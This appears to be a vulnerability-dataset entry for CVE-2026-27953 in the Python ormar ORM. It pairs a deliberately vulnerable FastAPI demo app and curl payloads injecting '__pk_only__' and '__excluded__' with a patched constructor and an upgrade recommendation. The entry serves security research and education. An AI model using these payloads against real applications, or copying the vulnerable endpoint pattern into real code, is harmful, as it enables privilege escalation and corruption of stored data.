CVE-2026-27953
ormar: Unauthenticated validation bypass via __pk_only__ JSON injection.
- CVSS 9.8
- CWE-20
- Input Validation and Sanitization
- Remote
ormar is a async mini ORM for Python. Versions 0.23.0 and below are vulnerable to Pydantic validation bypass through the model constructor, allowing any unauthenticated user to skip all field validation by injecting "__pk_only__": true into a JSON request body. By injecting "__pk_only__": true into a JSON request body, an unauthenticated attacker can skip all field validation and persist unvalidated data directly to the database. A secondary __excluded__ parameter injection uses the same pattern to selectively nullify arbitrary model fields (e.g., email or role) during construction. This affects ormar's canonical FastAPI integration pattern recommended in its official documentation, enabling privilege escalation, data integrity violations, and business logic bypass in any application using ormar.Model directly as a request body parameter. This issue has been fixed in version 0.23.1.
- CWE
- CWE-20
- CVSS base score
- 9.8
- Published
- 2026-03-19
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Privilege Escalation
- Affected component
- ormar
- Fixed by upgrading
- Yes
Solution
Upgrade ormar to version 0.23.1 or later.
Vulnerable code sample
#
# This code demonstrates the vulnerability CVE-2026-27953 in ormar <= 0.23.0.
#
# To run this example:
# 1. Install the required packages with a vulnerable ormar version:
# pip install "ormar<=0.23.0" fastapi "uvicorn[standard]" aiosqlite pydantic
#
# 2. Save the code as a Python file (e.g., vulnerable_app.py).
#
# 3. Run the application from your terminal:
# uvicorn vulnerable_app:app --reload
#
# 4. Use a tool like `curl` to interact with the API and demonstrate the vulnerability.
#
# --- HOW TO TEST THE VULNERABILITY ---
#
# The `User` model has a Pydantic `EmailStr` validator on the 'email' field.
#
# 1. A NORMAL, INVALID REQUEST (This will correctly fail validation):
# curl -X POST "http://127.0.0.1:8000/users/" \
# -H "Content-Type: application/json" \
# -d '{"name": "testuser", "email": "not-a-valid-email"}'
#
# Response will be a 422 Unprocessable Entity error.
#
# 2. VULNERABLE PAYLOAD: BYPASS VALIDATION with __pk_only__
# Inject `__pk_only__: true` to bypass all Pydantic validation.
# The invalid email will be saved directly to the database.
#
# curl -X POST "http://127.0.0.1:8000/users/" \
# -H "Content-Type: application/json" \
# -d '{"__pk_only__": true, "name": "attacker", "email": "not-a-valid-email", "role": "admin"}'
#
# Response will be a 200 OK, showing the data was "created".
#
# 3. VULNERABLE PAYLOAD: NULLIFY FIELDS with __excluded__
# Inject `__excluded__` to selectively set fields to NULL, even if they are required.
#
# curl -X POST "http://127.0.0.1:8000/users/" \
# -H "Content-Type: application/json" \
# -d '{"__excluded__": ["email"], "name": "user_with_null_email", "email": "ignored@example.com"}'
#
# Response will be a 200 OK.
#
# 4. VERIFY THE CORRUPTED DATA
# Check the users created in steps 2 and 3.
#
# curl -X GET "http://127.0.0.1:8000/users/2"
# -> You will see the user with "email": "not-a-valid-email" and "role": "admin".
#
# curl -X GET "http://127.0.0.1:8000/users/3"
# -> You will see the user with "email": null.
#
import databases
import ormar
import pydantic
import sqlalchemy
import uvicorn
from fastapi import FastAPI
# --- Database Setup ---
database = databases.Database("sqlite:///db.sqlite")
metadata = sqlalchemy.MetaData()
class BaseMeta(ormar.ModelMeta):
metadata = metadata
database = database
# --- Vulnerable Ormar Model ---
# This model uses Pydantic's EmailStr for validation, which will be bypassed.
class User(ormar.Model):
class Meta(BaseMeta):
tablename = "users"
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=100)
email: pydantic.EmailStr = ormar.String(max_length=128)
role: str = ormar.String(max_length=50, default="user")
# --- FastAPI Application Setup ---
app = FastAPI()
app.state.database = database
@app.on_event("startup")
async def startup() -> None:
database_ = app.state.database
if not database_.is_connected:
await database_.connect()
# Create the tables
engine = sqlalchemy.create_engine(str(database.url))
metadata.create_all(engine)
@app.on_event("shutdown")
async def shutdown() -> None:
database_ = app.state.database
if database_.is_connected:
await database_.disconnect()
# --- Vulnerable API Endpoint ---
# The vulnerability lies here. By using `user: User` as the Pydantic body,
# FastAPI passes the JSON payload directly to the ormar model's constructor.
# In vulnerable versions, the constructor does not properly sanitize special
# parameters like `__pk_only__` and `__excluded__`, leading to a validation bypass.
@app.post("/users/", response_model=User)
async def create_user(user: User):
# The 'user' object is already constructed with validation bypassed.
# Calling .save() persists the unvalidated, potentially malicious data.
await user.save()
return user
# --- Helper Endpoint to Verify Data ---
@app.get("/users/{user_id}", response_model=User)
async def get_user(user_id: int):
# This endpoint allows us to see the corrupted data in the database.
return await User.objects.get(pk=user_id)
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8000)Patched code sample
import pydantic
from typing import Any
# A placeholder for the actual ModelMetaclass to make the snippet self-contained.
# The fix itself is not in the metaclass.
class ModelMetaclass(pydantic.main.ModelMetaclass):
pass
# The fix is located in the __init__ method of the ormar.Model class.
# This code represents the patched version from ormar 0.23.1.
class Model(pydantic.BaseModel, metaclass=ModelMetaclass):
def __init__(__pydantic_self__, **data: Any) -> None: # noqa: N805
"""
The main constructor.
Can be invoked in a normal way, or with special `__pk_only__`
and `__fields_only__` flags.
Those are not model's fields but a flag that changes the behavior
of initialization.
`__pk_only__` flag initializes only pk column of the model,
so it can be used for relation checks.
`__fields_only__` flag initializes only a subset of fields,
so it can be used for performance optimization.
"""
# THE FIX:
# Special keys are removed from the input data dictionary *before*
# it is passed to the Pydantic parent constructor for validation.
is_pk_only = data.pop("__pk_only__", False)
is_excluded = data.pop("__excluded__", None)
# Pydantic's validation is now called with the sanitized data.
super().__init__(**data)
# The internal flags are set on the model instance only *after*
# Pydantic's validation has successfully completed.
if is_pk_only:
object.__setattr__(__pydantic_self__, "__pk_only__", True)
object.__setattr__(__pydantic_self__, "__fields_only__", None)
object.__setattr__(__pydantic_self__, "__fields_exclude__", None)
if is_excluded:
object.__setattr__(__pydantic_self__, "__excluded__", is_excluded)Payload
{
"__pk_only__": true,
"email": "not-a-valid-email",
"is_admin": true
}
Cite this entry
@misc{vaitp:cve202627953,
title = {{ormar: Unauthenticated validation bypass via __pk_only__ JSON injection.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-27953},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27953/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
